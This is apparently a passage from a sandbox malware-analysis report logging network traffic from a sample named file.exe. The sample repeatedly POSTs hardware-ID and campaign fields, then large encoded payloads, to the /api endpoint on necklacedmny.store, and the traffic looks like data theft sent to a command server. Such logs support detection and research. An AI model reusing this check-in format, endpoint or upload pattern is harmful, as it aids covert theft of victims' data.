2024-11-01 04:01:05 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B1C864E4CD81B148E614127BB61FCD3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:01:05 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:01:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=20fujh35mnjrd11n7psicmfg37; expires=Mon, 24-Feb-2025 21:47:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VJEkYrzZVliFTpAyA7M5fpnzTevhIv8DQQU4VFP4op0%2Bt5UxUcltHgpRddGzSmeZKcgCJdBFFmVLH9blw8WDyPqUQabsYh3YItew1SAPlmuoTPaN38Hh5Zk2al55Ebd%2B0LAmB%2BI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fb48cd153590-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1216&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13782&delivery_rate=2212375&cwnd=238&unsent_bytes=0&cid=15ccd157e8e3cbb2&ts=519&x=0"
2024-11-01 04:01:05 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:01:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	188.114.96.3	443	5440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:01:06 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-11-01 04:01:06 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B1C864E4CD81B148E614127BB61FCD3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:01:07 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:01:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uloo4l2nc53rs5qe6hrkiaf6v4; expires=Mon, 24-Feb-2025 21:47:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wFxnq3675yQKE8%2FM%2BQUo2xJSAbqeLvDP88ryFwiIfjZ516Xybd5m7dFYtKENjsBS6OG5VWt6e0efXu5faKjOpRZxWzPyWfDyGaUagkl%2BV8H81L%2BnR57h%2B0JdvwD6qn4dB47ZHVk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fb50caf56b5b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1172&sent=10&recv=22&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16024&delivery_rate=2443881&cwnd=251&unsent_bytes=0&cid=402a41881efb62d9&ts=591&x=0"
2024-11-01 04:01:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:01:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	188.114.96.3	443	5440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:01:08 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-11-01 04:01:08 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B1C864E4CD81B148E614127BB61FCD3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:01:08 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-11-01 04:01:09 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:01:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rugbr97pldro62p1p5vno8opjq; expires=Mon, 24-Feb-2025 21:47:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0FLF0CrMGn9AwzINr7SVoNKhoBRI%2BL%2B%2FjSvZcmZhomddKW6G4kmbKqOuoolEVYp0RJ3VV%2F3RaSgMLIAvzZo5UtqDffUtC8YwX2Wy6NU4sDcf8pvyInjrRmhSax8uaqDm0mbtJWE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fb5bec832e22-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1926&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21536&delivery_rate=1425196&cwnd=251&unsent_bytes=0&cid=7febff682727fe2d&ts=1286&x=0"
2024-11-01 04:01:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:01:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	188.114.96.3	443	5440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:01:11 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1254 Host: necklacedmny.store
2024-11-01 04:01:11 UTC	1254	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B1C864E4CD81B148E614127BB61FCD3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:01:11 UTC	1011	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:01:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=je1nrg646j663dm7hedctv05re; expires=Mon, 24-Feb-2025 21:47:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IwJPgxUUyDeFpMZeKIVxsMFKfaFcZH1GL3FkODZTEGvt8eCn%2BNQyZqISuSVxEiog8xTeG6N5vlrd0diqnd0HT4FDYfqpsYwgzIFva1adMK%2BT1kBVioqD03Xgh9Nyrc3SZtxzg5Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fb6dfe1ce772-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1345&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2173&delivery_rate=2084953&cwnd=32&unsent_bytes=0&cid=01b072df9f8fdcf6&ts=689&x=0"
2024-11-01 04:01:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:01:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	188.114.96.3	443	5440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:01:13 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 585842 Host: necklacedmny.store
2024-11-01 04:01:13 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B1C864E4CD81B148E614127BB61FCD3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:01:13 UTC	15331	OUT	Data Raw: 5d 79 e4 ef 92 bf a4 b4 78 92 a3 a2 1c 2c 08 fc 2c e2 9a 03 04 c0 1b 21 3b b5 5a 70 3d c4 e9 c0 98 c6 ed 0a d1 75 8d fa 6d e6 d6 23 09 01 79 b1 65 2c e1 5e a8 b9 5e 80 30 49 8a 54 69 f2 2e b0 b4 6c e7 7e 79 5a b9 49 90 90 de f9 ea 71 21 0b 23 55 d8 f7 e0 13 e6 bb 42 87 3e 2e 4f 9c 56 8e ae 12 04 62 95 93 cf f3 01 75 aa 01 ab 5d 7e 6a c1 a1 d7 e0 d7 d3 d5 4a d7 ff e4 50 b0 38 67 e4 f5 83 50 57 51 d6 e2 6f 6a fb 63 f8 a3 13 0c e0 8b f2 ad b6 07 e5 6d 90 9f fb 05 ec dc 98 1d cf 74 59 ff f3 07 65 ee cc 2a bf bb 95 c0 64 37 24 8f 8c de 1b 7b c0 7e a4 ab d4 29 b0 37 ff 2d b4 1d 75 79 0c d8 25 5f fe b7 a1 b3 ae 1a e1 07 1d 60 0e 87 88 4d 6a 3e 02 38 5e 89 00 49 a6 69 83 39 1a eb 9f cc 2a a0 04 48 a2 b8 3b 28 21 fb e3 e0 ad 4d ca 85 4e 3b 88 b9 4f ae 5f 18 38 3e Data Ascii: ]yx,,!;Zp=um#ye,^^0ITi.l~yZIq!#UB>.OVbu]~jJP8gPWQojcmtYed7${~)7-uy%_`Mj>8^Ii9H;(!MN;O_8>
2024-11-01 04:01:13 UTC	15331	OUT	Data Raw: 76 19 49 51 22 fd 13 e5 fb 65 d3 d8 40 83 b2 d7 f4 ce b2 5f f7 df 87 fb 65 c7 c5 c6 6e 68 9d 47 3e ae 9b e7 20 c2 73 5d 16 7d 9e a3 8b 3a ba 26 cb bc b0 b3 1d fd d7 1e 42 36 6d 81 d8 f6 c1 5c ea d7 a8 12 5d ec 6d 3e 65 56 d0 57 00 9c dd a6 07 b9 77 76 cc 30 9c 36 2b 07 96 2a 77 2c d8 1f e0 b5 0f 05 8f 27 2e dc 54 bc 4c af 5b 9f 5f 1c 34 d3 5b 5c d1 a1 ff d1 02 88 9d 8b 51 47 b4 82 72 32 fd 5f 98 6c 4c 3d 75 be 3a 9c a0 b2 b7 7a a6 be db 64 4f 56 d5 36 34 fc 80 41 a4 24 a1 40 bc 99 57 5b 8d f5 20 43 9e 1b ca eb a6 0f fd ef 39 95 a7 01 7d f7 6f ed f1 d0 0b 02 11 17 40 f8 d0 cd 70 0f c0 96 7d 0a c0 49 33 d0 1f 0e fa af cf f8 20 df 16 03 0a cf 89 db fc bf 87 f3 24 1d 15 b0 79 2d 8a a0 67 41 a8 b1 a2 89 21 00 f0 18 e1 66 90 d5 50 5b dd d4 58 8e 0e 60 3e a8 19 Data Ascii: vIQ"e@_enhG> s]}:&B6m\]m>eVWwv06+*w,'.TL[_4[\QGr2_lL=u:zdOV64A$@W[ C9}o@p}I3 $y-gA!fP[X`>
2024-11-01 04:01:13 UTC	15331	OUT	Data Raw: ee 61 a9 f2 1c 15 8a e0 e1 e7 b0 93 b2 4a d7 07 ed 7a 4a 68 27 60 59 95 6b 62 fc 56 75 47 cc 0c 95 bf 2a dd cb 04 ed 65 82 c5 d2 76 4c 21 07 60 a9 93 1d 5a 03 78 94 6d d4 27 56 54 10 e4 a2 3e 88 54 8c 17 47 ef d9 cd 2e 3c ca e4 3b 7c 64 bc 82 ae 30 d3 92 25 af a4 e0 1c e6 00 ae c0 32 eb 8c fc 05 1c 62 7b 8d 41 83 cb 2d 84 df 3d fa 99 ed 64 ae 53 aa 07 4f f2 53 38 ad 2b 4c 8a 03 ff c2 ca 57 ec c6 4a fd ab 03 56 cb 2a be a9 92 b6 d4 02 1c 53 aa 9f 9f 7c f0 83 73 10 1c 09 b9 24 02 78 9b 32 48 a4 21 41 1a d8 a5 5c cc 08 14 6a b2 37 76 54 f3 cd 0a b2 94 ae e9 2e 03 84 fd db 5a 51 f3 ec 85 12 c1 d7 62 40 f4 e0 d5 11 47 65 b0 d1 c3 09 e6 48 72 57 67 7d 8a 3e b0 a6 85 38 5b e8 8a 75 55 6a 59 0e 37 f2 9b 5f cf 67 f6 64 c1 7c 6b b0 59 bd f7 1f ae c1 57 6e 7c 8f 00 Data Ascii: aJzJh'`YkbVuGevL!`Zxm'VT>TG.<;\|d0%2b{A-=dSOS8+LWJVS\|s$x2H!A\j7vT.ZQb@GeHrWg}>8[uUjY7_gd\|kYWn\|
2024-11-01 04:01:13 UTC	15331	OUT	Data Raw: a3 d3 43 3c e7 ae c9 a5 9c 54 e8 e6 cb 4b 12 5e 68 6b 8c 9a e4 f7 a3 37 e4 24 13 bf e3 d0 40 4b 42 30 36 66 0f c6 8b 75 91 81 6a 8f 09 35 35 2d 87 95 1e 8c 3a a9 20 b3 be af 7d ac 5a 9f 63 ea dd ae 8f e0 e3 0e 3a e1 3b de 7f 58 66 7b fe 13 03 2f bf fb 7a ce 44 76 ac cb 9d a2 cf a7 75 45 ee 3f d4 23 38 38 d0 7a 1a 6f 1e 22 0e ef 6f d6 08 27 1c 3c 3c f3 9b 76 d4 32 27 32 91 11 5f 60 2c 30 2e 56 63 af 9b b7 70 66 34 4b 5f c0 cb 57 43 3e 9a 7f 25 bf 43 fd f8 ee 76 38 5e 60 97 d6 e5 d3 c4 cc 08 fc f3 7b ed 5d b9 cb 9c 12 c1 13 f3 3e 97 9d a3 30 c3 d0 3d 79 8c a0 14 62 bd 21 33 98 5d ac 91 fb 42 0a 8f 39 07 f2 f6 08 46 29 53 2a 2e da f5 47 21 16 12 67 6b f5 15 bd ff ef 54 fd ff ef 02 a9 90 e5 09 98 10 1c 58 ad a3 29 fa 40 0b 0e 8d c7 f4 83 b7 ad 20 95 58 87 4b Data Ascii: C<TK^hk7$@KB06fuj55-: }Zc:;Xf{/zDvuE?#88zo"o'<<v2'2_`,0.Vcpf4K_WC>%Cv8^`{]>0=yb!3]B9F)S*.G!gkTX)@ XK
2024-11-01 04:01:13 UTC	15331	OUT	Data Raw: 57 d9 d5 30 85 f8 8a f5 b0 13 8e 9f bd 61 ab 4f 7b 13 42 bd c8 5f 2d 04 67 92 d8 bc fa c0 27 b7 a1 19 b5 c5 c2 f5 6f a6 07 c9 96 dc e7 9c 94 d2 fe 11 c2 9b 99 42 8d bd 52 6f 68 c9 bb 1d 75 2e df 2d 7e f7 5a 17 4d a6 eb 80 ba f0 98 d9 8b b3 d4 65 be a1 7c 54 f8 59 c2 a3 3d 1e 41 a9 48 13 85 aa 6b 3e ec e4 c1 b0 b1 d8 36 fb 21 03 1e 94 db 72 64 3d e5 b9 93 87 cf 46 72 0d f1 0c f5 f9 bb b8 93 af 47 05 70 c8 06 53 86 dc 58 55 02 26 2a 00 07 dc 9a cc 65 28 da 99 b0 87 26 be d0 44 5b 02 7d 7c 86 1a 04 41 dc ab c2 2b 87 a7 c6 02 49 fd aa 73 83 a1 46 4a 3f 9b 36 4c 41 a3 85 6a 62 48 3c 12 5b b2 22 a0 af 87 5c db bc e0 9b 3c 34 9b 14 b3 d3 b7 a8 ba f2 d3 3f 28 b5 97 ea 77 8d e4 94 56 f9 a0 b9 08 b2 7e 95 52 ba 5d 70 62 1f 0a 98 59 fd fd 8e 9e 6b 06 1a 03 4a 01 9c Data Ascii: W0aO{B_-g'oBRohu.-~ZMe\|TY=AHk>6!rd=FrGpSXU&*e(&D[}\|A+IsFJ?6LAjbH<["\<4?(wV~R]pbYkJ
2024-11-01 04:01:13 UTC	15331	OUT	Data Raw: eb 5d 89 9a cc 13 88 e8 93 68 2a 08 eb 71 a1 56 33 2b 98 71 4b c7 ee 89 ea c6 dd db ff b9 e0 91 38 8d 7f 89 5f 35 56 89 c6 b3 2c bc d6 7b 05 af b9 e3 c5 d7 2a 30 3c 62 19 e1 11 bd 2a b4 e4 20 c0 d0 36 c8 eb 3e 02 de 1f 55 15 58 58 9e 5c ce aa d1 8d c1 cc 5a 0e 9b 48 23 49 ff 52 52 d6 90 d7 99 2a 11 a2 74 cb e5 64 8a 11 c0 37 13 a9 15 b6 65 3e 67 63 89 55 87 b7 7b be 53 64 77 d2 5b 86 3b df 27 6a f9 96 7a 72 e6 dd 39 3e f4 a5 c5 cf 94 75 f7 77 3f d4 17 7f 02 52 86 0f 23 49 ff 05 82 b6 3f a0 f4 4a cf 8e 18 92 66 7e d7 cb e5 16 f0 30 d2 02 4b cd 9b f6 7e 13 df 39 42 c5 e4 4c 4c 88 29 0e b0 8b 6f 65 bc e8 cc d9 4c fe 6e ab 04 65 d9 64 78 7f f7 4d 47 81 3f 65 48 4e fe 9b ab 20 a3 cd 12 07 3e 8d 70 51 0b 4f 97 25 7e f6 bd 0d 97 a8 34 ff 00 a1 12 e6 9a 7f 30 ef Data Ascii: ]hqV3+qK8_5V,{0<b* 6>UXX\ZH#IRR*td7e>gcU{Sdw[;'jzr9>uw?R#I?Jf~0K~9BLL)oeLnedxMG?eHN >pQO%~40
2024-11-01 04:01:13 UTC	15331	OUT	Data Raw: ac df fd 6e e1 4e 42 cb ba 8f 27 bb 6a ae 1f 07 df 32 f4 17 08 84 c0 ca f6 6a 15 e6 57 d9 2d bc df b1 ca f2 c1 ec e2 45 ca e2 b2 7a 20 f3 66 05 42 c8 8b c8 17 25 14 9c ea f4 2d 13 fc 08 d8 c9 d7 a7 f5 e4 97 9e 5a 50 8d 20 d2 b9 56 3b 24 3e 3d 64 41 bd 0d 07 bd 04 0c 0c 66 d6 3b 9a 59 8e 07 79 bb a4 c0 5e e6 d1 86 7a 77 40 d9 87 cf 88 8d 1e 10 01 85 d9 ab fe ad 47 cc 18 af 04 c0 9e 16 58 1d 9f 79 0c 38 89 63 03 9f 8a 75 cd f0 80 03 3c ae 58 e0 72 18 b6 07 76 a3 23 70 29 e6 a5 18 fe cc 3b da b7 51 1f b7 e8 57 5d 04 70 89 9d ae cc 7e 78 6d b0 c9 8c 80 b2 ff 4c e1 83 c6 8f 91 d1 1c ff fd 78 15 86 4a ab 89 5c fb 4f cc 0e c6 ad 0b 4a 58 80 49 93 6d 34 22 1b ac 3a 61 4e 01 b2 39 39 21 c9 53 82 72 12 a0 88 19 f2 d5 07 cc c9 97 c8 4c 65 28 c7 e0 f7 fd 81 b3 a6 a8 Data Ascii: nNB'j2jW-Ez fB%-ZP V;$>=dAf;Yy^zw@GXy8cu<Xrv#p);QW]p~xmLxJ\OJXIm4":aN99!SrLe(
2024-11-01 04:01:13 UTC	15331	OUT	Data Raw: 8e ea 99 a3 3f ea 1c 96 92 f2 de 89 c2 bb 7b 13 0e 6b b8 fd 1d 57 73 36 8f 5a 8c c1 68 46 6b 37 32 a6 f0 0e 20 ec 0f a4 58 fb 01 7a 30 ee 7f 95 76 92 d4 89 22 cf 20 65 15 46 e7 1b e9 2b 01 ad 90 ac 9b 84 1e 5b 67 79 4b 1c 69 88 a6 67 db b4 8d 02 68 8c 18 dd 3a a7 35 3c 5a ef dc c4 48 a7 a4 62 87 6c 74 f2 16 92 c6 c5 6f f1 49 22 76 21 a5 ec 9c 06 a9 1d 42 f3 e2 02 be 16 57 43 af c4 50 2d aa f4 36 d4 93 46 39 f2 fd 2d 1f f1 41 98 67 be 4f 9f 26 81 ba f7 80 56 fb 46 e5 cc 0f 92 dd 11 d3 a9 cd af c1 43 15 3f 48 3a 22 ae 57 20 85 3b 16 75 a3 79 f3 7c d6 b1 26 33 a0 6b e6 cb 20 03 05 ae b4 28 0e d0 5e f3 bc 4f 9f a3 b9 80 18 7f 5e ef 5f e9 c0 6e 92 fd 53 8d 5c 8d f0 be 6b 06 63 75 9d 84 42 5b 72 1b 17 2d c7 bf b2 49 60 3d 92 b8 de 7b c3 c3 05 f3 d7 15 ee e7 3d Data Ascii: ?{kWs6ZhFk72 Xz0v" eF+[gyKigh:5<ZHbltoI"v!BWCP-6F9-AgO&VFC?H:"W ;uy\|&3k (^O^_nS\kcuB[r-I`={=
